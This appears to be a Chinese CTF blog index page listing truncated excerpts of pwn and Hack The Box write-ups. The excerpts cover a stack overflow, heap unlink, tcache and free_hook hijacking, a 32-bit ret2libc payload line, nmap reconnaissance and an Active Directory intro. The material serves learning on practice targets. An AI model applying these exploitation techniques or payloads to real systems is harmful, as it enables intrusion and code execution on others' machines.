[xyctf] hello_world
反编译分析 int __fastcall main(int argc, const char **argv, const char **envp) { char buf[32]; // [rsp+0h] [rbp-20h] BYREF init(); printf("%s", "please input your name: "); read(0, buf, 0x48uL...
反编译分析 int __fastcall main(int argc, const char **argv, const char **envp) { char buf[32]; // [rsp+0h] [rbp-20h] BYREF init(); printf("%s", "please input your name: "); read(0, buf, 0x48uL...
一,信息收集 端口扫描 ╰─$ nmap -F instant.htb Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-27 15:36 CST Nmap scan report for instant.htb (10.10.11.37) Host is up (0.45s latency). Not show...
一,信息收集 端口扫描 ╰─$ nmap -F alert.htb Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-25 20:05 CST Nmap scan report for alert.htb (10.10.11.44) Host is up (1.1s latency). Not shown: 98...
Problem: [SUCTF 2018 招新赛]unlink 思路 unlink到heap_list修改chunk0的指针指向got_free,修改chunk0的内容,即修改got_free的内容为system,劫持got表getshell EXP from pwn import * context.log_level = 'debug' context.terminal = [...
Problem: [LitCTF 2024]heap-2.31 思路 填满tacahe,利用unsortbin泄漏出free_hook,利用uaf修改tacahe的fd实现任意内存地址读写,劫持free_hook EXP from pwn import * context.log_level = 'debug' context.terminal = ['tmux','splitw'...
Problem: [LitCTF 2024]heap-2.27 思路 通过unsortbin泄漏libc地址,根据地址找到free_hook函数所在。 delete函数中存在uaf,使得我们能够修改已经释放的堆块,因此,我们可以通过修改堆块的fd申请到任意内存位置的堆块,实现free_hook劫持。 需要了解unsortbin生成条件,free_hook劫持原理。 EXP from ...
Problem: [LitCTF 2024]heap-2.23 思路 edit功能存在一个UAF,通过该漏洞修改fd达到申请任意位置区块的目的,再利用edit功能修改对应区块地址的内容,达到利用目的。 我这里选择了劫持__molloc_hook函数,需要注意的是,我们需要找到一个区块匹配所需要的结构体,详细可以调试看看mallo_hook-35这个位置,再往后填充,将one_gadge...
pwntools中shellcode使用与配置 bamuwe@qianenzhao:~$ checksec mrctf2020_shellcode [*] '/home/bamuwe/mrctf2020_shellcode' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary fou...
从Forest学习Windows下的渗透 前置知识 一,关于LDAP服务 基础介绍 LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种用于访问和维护分布式目录信息服务的协议。它允许用户和应用程序通过一个统一的接口访问和管理目录信息。LDAP服务的主要特点和功能包括: 目录结构:LDAP使用树状结构来组织目录信息,类...
函数参数劫持 32位泄露libc 32位程序的传参是栈的后四位开始,要注意的是,32位下write,put的ret位置是紧跟函数后面的 payload1 = b'A'*(0x88+0x4)+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(1)+p32(elf.got['write'])+p32(4) ...